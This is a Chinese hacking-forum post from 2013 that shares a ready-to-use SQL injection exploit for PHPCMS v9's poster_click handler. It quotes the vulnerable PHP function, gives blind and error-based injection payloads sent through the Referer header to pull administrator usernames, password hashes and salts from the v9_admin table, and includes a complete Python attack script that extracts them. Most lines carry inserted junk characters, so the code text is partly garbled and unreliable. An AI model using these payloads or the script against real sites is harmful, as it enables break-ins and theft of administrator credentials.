找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2177|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:4 ]' W5 o0 Z) k- [6 d  t

: f. U: K7 j2 u: w问题函数\phpcms\modules\poster\index.php- K2 B; r) }2 `/ {* z3 B0 A1 {

. p* W. v+ Z! B9 }4 I/ V/ o2 Wpublic function poster_click() {
' B) R/ Z6 d  E$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
9 b6 P: F* A/ |4 C$r = $this->db->get_one(array('id'=>$id));" Z0 T1 W) [, H" c6 M" P* D: P& A; M
if (!is_array($r) && empty($r)) return false;; q% s( N7 [1 H0 h
$ip_area = pc_base::load_sys_class('ip_area');
7 {0 B! m; j  c$ip = ip();
! s( F& K# L$ ?$area = $ip_area->get($ip);
! g. S$ ^  B- N4 {$ h$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# Q/ t( }( p  Zif($id) {
1 z  b4 Z" U5 t6 Q8 g4 t6 k& m$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();" P& o! b5 M: Z
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));  ^$ W8 Q, o; C: P! ~; Z% S! _2 l; }- A
}
3 S6 x! x7 i0 G+ X$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));& K( C- G- B0 d1 A
$setting = string2array($r['setting']);
6 N0 K+ C: f8 B: dif (count($setting)==1) {/ [( L. z! q% |" T+ Q+ S
$url = $setting['1']['linkurl'];
  N& s2 W. A" z2 y2 y0 y- a} else {
( M" s7 a4 n7 M; s$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
' W- h. t) ~  e4 `}6 Q' ^3 o+ X* v4 `: x$ I& W5 z
header('Location: '.$url);8 `4 `4 i& \8 Y, t* |9 H
}
5 o% m$ T) D1 @
# E8 c1 ]3 a' ?% m* P 7 y8 F7 ]( w9 s/ h( E- Q1 B8 N/ ?

1 a( u- s& Q9 _7 H- F8 Z, p利用方式:# v" R% X+ _) D$ |

9 M, _, ]9 Y* @1、可以采用盲注入的手法:
/ |3 Z* t6 U+ z: K, ~7 H, T! ]( m2 f, d% J5 @: a% \
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
1 S5 E7 n- y6 t+ S+ I( r  n
9 G6 u3 @+ L4 k+ a4 X; `, v/ w6 m) @通过返回页面,正常与否一个个猜解密码字段。
7 o) G! }# z1 Z- p. K( @1 l- [
2、代码是花开写的,随手附上了:$ d" k% m# K; t: a1 e7 s
+ j7 X5 P) J2 n: v% r. \  l( s
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#( ?" [* x3 ?5 @1 U! v1 a/ E
7 `; W# |) }  g1 v( ?
此方法是爆错注入手法,原理自查。
" O, d: V9 n8 f6 D5 R3 F( j, {: |) W& u- g# y

  u& E% E4 P8 J( e- U- q& d
9 {  f) Y0 \7 ^" L0 [利用程序:* e% @# {+ k/ y; t
" _; }" `8 _, }( c0 W- T
#!/usr/bin/env python& T$ N; s) t, m0 @7 j
import httplib,sys,re$ r: V' M8 Z$ ~* P4 \( ?  ?( F
* \. |& s4 R7 C( @% e* z3 ~
def attack():1 f% R7 |9 g+ c& g# r& i9 y0 Q9 _6 H
print “Code by Pax.Mac Team conqu3r!”
/ C) R! V# S' T! qprint “Welcome to our zone!!!”4 L( L& P) F  s  @; \9 h* ?! J
url=sys.argv[1]
, W2 S- R) y+ Y, _5 rpaths=sys.argv[2]1 E3 R2 ~3 Q" }9 H! c8 j; p9 @
conn = httplib.HTTPConnection(url)
" {, E, z) ~# `: J$ B/ d* ji_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,4 i: a! O* [5 J5 O- ~- I% [
“Accept”: “text/plain”,
8 z/ ^1 m( C) l: x& g7 H“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}8 @% |  c+ z& X9 @( b/ K3 b( A
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)2 {3 {  ^: F7 T4 {5 k
r1 = conn.getresponse(); G% q3 p* x& D" X
datas=r1.read()
/ E0 l0 q  P# d3 \- [+ Vdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
9 O1 s, S' ~: c0 S4 W1 y' w2 q% fprint datas[0]* g; `7 W% n7 C7 y5 I& r
conn.close()
# d3 H% f# {# R4 @% Z1 G- M- ~3 ?' uif __name__==”__main__”:) ?: A) g; W* X
if len(sys.argv)<3:
& u) n& G6 C8 o- k6 r5 f: w# Zprint “Code by Pax.Mac Team conqu3r”
: i, @0 Y! l( V" Z- k" Jprint “Usgae:”
# l- M% z9 M+ C( j" {3 u9 Eprint “    phpcmsattack.py   www.paxmac.org /”
% ~- w+ ~, m9 n4 s8 c8 uprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
: R% L, J0 h2 m" }% asys.exit(1)0 m( Z/ q& V4 p9 p/ k: z" w
attack()+ ?% @4 s4 }0 F) X' ?& S  C0 Z
" J; S  r+ N3 o" [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表